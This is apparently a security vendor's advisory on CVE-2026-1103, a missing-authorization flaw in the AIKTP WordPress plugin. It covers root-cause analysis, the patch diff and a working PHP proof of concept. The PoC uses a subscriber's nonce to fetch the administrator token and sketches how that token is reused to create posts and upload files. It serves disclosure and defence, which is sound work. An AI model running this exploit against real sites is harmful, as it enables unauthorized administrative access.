Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1103: AIKTP <= 5.0.04 – Missing Authorization to Authenticated (Subscriber+) Multiple Administrator Actions (aiktp)

CVE ID CVE-2026-1103
Plugin aiktp
Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 5.0.04
Patched Version 5.0.5
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1103:
The AIKTP WordPress plugin contains a missing authorization vulnerability in its REST API endpoint. The /aiktp/getToken endpoint fails to verify administrative privileges, allowing any authenticated user to retrieve the administrator’s access token. This vulnerability affects all versions up to and including 5.0.04.

Root Cause:
The vulnerability originates in the aiktp-sync.php file. The register_rest_route function at line 120 sets the permission_callback to verify_user_logged_in. This callback function, defined at line 142, only checks if a user is logged in by calling get_current_user_id() and verifying it’s not zero. The function lacks any capability check, such as current_user_can(‘manage_options’), to restrict access to administrators only.

Exploitation:
An attacker with any authenticated WordPress account (including Subscriber role) can send a GET request to /wp-json/aiktp/getToken. The request must include valid WordPress authentication headers, typically the X-WP-Nonce header. Successful exploitation returns the administrator’s aiktpz_token, which grants full administrative privileges within the plugin’s functionality.

Patch Analysis:
The patch replaces the verify_user_logged_in permission callback with verify_admin_capability at line 120. The new function, defined at line 142, first checks is_user_logged_in() and then verifies current_user_can(‘manage_options’). The patch also updates the plugin version from 5.0.04 to 5.0.5 in both the plugin header and constant definition.

Impact:
Successful exploitation allows attackers to retrieve the administrator’s access token. This token can create posts, upload files to the media library, and access private content. Attackers gain administrative-level control over content creation and media management functions, enabling privilege escalation within the WordPress environment.

Differential between vulnerable and patched code

Code Diff
--- a/aiktp/aiktp.php
+++ b/aiktp/aiktp.php
@@ -3,7 +3,7 @@
  * Plugin Name: AIKTP
  * Plugin URI: https://aiktp.com/wordpress
  * Description: AIKTP - AI powered WordPress content automation. Create SEO optimized articles, bulk generate WooCommerce product descriptions, and sync posts directly from aiktp.com.
- * Version: 5.0.04
+ * Version: 5.0.5
  * Author: John Luke - aiktp.com
  * License: GPL v2 or later
  * License URI: https://www.gnu.org/licenses/gpl-2.0.html
@@ -21,7 +21,7 @@
 }

 // Define constants
-define('AIKTPZ_VERSION', '5.0.04');
+define('AIKTPZ_VERSION', '5.0.5');
 define('AIKTPZ_PLUGIN_DIR', plugin_dir_path(__FILE__));
 define('AIKTPZ_PLUGIN_URL', plugin_dir_url(__FILE__));
 // Include modules
--- a/aiktp/includes/aiktp-sync.php
+++ b/aiktp/includes/aiktp-sync.php
@@ -120,32 +120,30 @@
         register_rest_route('aiktp', '/getToken', array(
             'methods' => 'GET',
             'callback' => array($this, 'get_valid_token'),
-            'permission_callback' => array($this, 'verify_user_logged_in')
+            'permission_callback' => array($this, 'verify_admin_capability')
         ));
     }


     /**
-     * Verify user is logged in (for token retrieval)
+     * Verify user has admin capability (for token retrieval)
      *
-     * This method ensures only logged-in users can retrieve the shared secret token.
-     * SECURITY: Token retrieval must be restricted to authenticated users to prevent token leakage.
+     * This method ensures only administrators with manage_options capability can retrieve the shared secret token.
+     * SECURITY FIX (CVE-2026-1103): Previously only checked is_user_logged_in(), which allowed any authenticated
+     * user (including Subscribers) to retrieve the admin token. Now requires manage_options capability.
      *
-     * NOTE: We check get_current_user_id() directly because is_user_logged_in()
-     * doesn't work reliably in REST API context without proper authentication headers.
+     * The token grants access to create posts, upload media, and access private content, so it must be
+     * restricted to administrators only.
      *
      * When calling this endpoint from JavaScript, you MUST include the nonce header:
      * headers: { 'X-WP-Nonce': wpApiSettings.nonce }
      *
      * @param WP_REST_Request $request The REST API request object
-     * @return bool|WP_Error True if user is logged in, WP_Error otherwise
+     * @return bool|WP_Error True if user has manage_options capability, WP_Error otherwise
      */
-    public function verify_user_logged_in($request) {
-        // Get current user ID - works better in REST API context
-        $user_id = get_current_user_id();
-
-        // If user ID is 0, user is not logged in
-        if ($user_id === 0) {
+    public function verify_admin_capability($request) {
+        // Check if user is logged in first
+        if (!is_user_logged_in()) {
             return new WP_Error(
                 'rest_forbidden',
                 __('You must be logged in to WordPress to access this endpoint. Please include authentication headers (X-WP-Nonce) in your request.', 'aiktp'),
@@ -153,6 +151,15 @@
             );
         }

+        // Check if user has manage_options capability (administrator)
+        if (!current_user_can('manage_options')) {
+            return new WP_Error(
+                'rest_forbidden',
+                __('You do not have sufficient permissions to access this endpoint. Only administrators can retrieve the sync token.', 'aiktp'),
+                array('status' => 403)
+            );
+        }
+
         return true;
     }

@@ -228,19 +235,35 @@

         // Verify the configured author exists and has edit_posts capability
         $user = get_userdata($aiktp_author);
-        if (!$user || !user_can($user, 'edit_posts')) {
-            return new WP_Error(
-                'rest_forbidden',
-                __('Configured AIKTP author does not have permission to create posts. Please check plugin settings.', 'aiktp'),
-                array('status' => 403)
-            );
+
+        // If configured author doesn't exist or doesn't have permissions, find a valid admin
+        if (!$user || !user_can($user, 'edit_posts') || !user_can($user, 'publish_posts')) {
+            // Try to find an administrator user
+            $admins = get_users(array(
+                'role' => 'administrator',
+                'number' => 1,
+                'orderby' => 'ID',
+                'order' => 'ASC'
+            ));
+
+            if (!empty($admins)) {
+                $user = $admins[0];
+                // Update the option to use this admin for future requests
+                update_option('aiktp_author', $user->ID);
+            } else {
+                return new WP_Error(
+                    'rest_forbidden',
+                    __('No administrator user found. Please ensure at least one administrator account exists.', 'aiktp'),
+                    array('status' => 403)
+                );
+            }
         }

-        // Also verify publish_posts capability for publish operations
-        if (!user_can($user, 'publish_posts')) {
+        // Double-check the user has required capabilities
+        if (!user_can($user, 'edit_posts') || !user_can($user, 'publish_posts')) {
             return new WP_Error(
                 'rest_forbidden',
-                __('Configured AIKTP author does not have permission to publish posts. Please check plugin settings.', 'aiktp'),
+                __('User does not have permission to create and publish posts.', 'aiktp'),
                 array('status' => 403)
             );
         }
@@ -269,10 +292,34 @@
         $aiktp_author = get_option('aiktp_author', 1);
         $user = get_userdata($aiktp_author);

+        // If configured author doesn't exist or doesn't have upload permission, find a valid admin
         if (!$user || !user_can($user, 'upload_files')) {
+            // Try to find an administrator user
+            $admins = get_users(array(
+                'role' => 'administrator',
+                'number' => 1,
+                'orderby' => 'ID',
+                'order' => 'ASC'
+            ));
+
+            if (!empty($admins)) {
+                $user = $admins[0];
+                // Update the option to use this admin for future requests
+                update_option('aiktp_author', $user->ID);
+            } else {
+                return new WP_Error(
+                    'rest_forbidden',
+                    __('No administrator user found. Please ensure at least one administrator account exists.', 'aiktp'),
+                    array('status' => 403)
+                );
+            }
+        }
+
+        // Double-check the user has upload capability
+        if (!user_can($user, 'upload_files')) {
             return new WP_Error(
                 'rest_forbidden',
-                __('Configured AIKTP author does not have permission to upload files. Please check plugin settings.', 'aiktp'),
+                __('User does not have permission to upload files.', 'aiktp'),
                 array('status' => 403)
             );
         }
@@ -328,8 +375,8 @@
      * Get Valid Token
      *
      * SECURITY NOTE:
-     * Authentication is handled by the permission_callback (verify_user_logged_in).
-     * This function simply generates/returns the token for authenticated users.
+     * Authentication is handled by the permission_callback (verify_admin_capability).
+     * This function simply generates/returns the token for authenticated administrators.
      *
      * We do NOT manually validate cookies or set current user here.
      * WordPress REST API handles authentication automatically.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1103 - AIKTP <= 5.0.04 - Missing Authorization to Authenticated (Subscriber+) Multiple Administrator Actions

<?php
/**
 * Proof of Concept for CVE-2026-1103
 * Demonstrates unauthorized token retrieval from AIKTP plugin REST API
 * Requires valid WordPress authentication (subscriber or higher)
 */

$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS

// WordPress REST API endpoint for token retrieval
$endpoint = '/wp-json/aiktp/getToken';

// You must obtain a valid WordPress REST API nonce for an authenticated user
// This can be obtained by logging in as a subscriber and extracting from wpApiSettings.nonce
$wp_nonce = 'YOUR_VALID_WP_NONCE_HERE'; // CHANGE THIS

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only

// Set required WordPress authentication headers
$headers = [
    'X-WP-Nonce: ' . $wp_nonce,
    'Content-Type: application/json',
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Parse the JSON response
    $data = json_decode($response, true);
    
    if (isset($data['token'])) {
        echo "n[SUCCESS] Retrieved administrator token: " . $data['token'] . "n";
        echo "This token can be used to create posts, upload files, and access private content as administrator.n";
    } elseif (isset($data['code']) && $data['code'] === 'rest_forbidden') {
        echo "n[FAILED] Access denied: " . $data['message'] . "n";
        echo "This may indicate the site is patched or authentication failed.n";
    }
}

// Clean up
curl_close($ch);

// Example of how to use the retrieved token for post creation
/*
if (isset($data['token'])) {
    $token = $data['token'];
    // The token can now be used with AIKTP's other endpoints:
    // - Create posts: /wp-json/aiktp/createPost
    // - Upload files: /wp-json/aiktp/uploadMedia
    // All requests would include: 'Authorization: Bearer ' . $token
}
*/
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School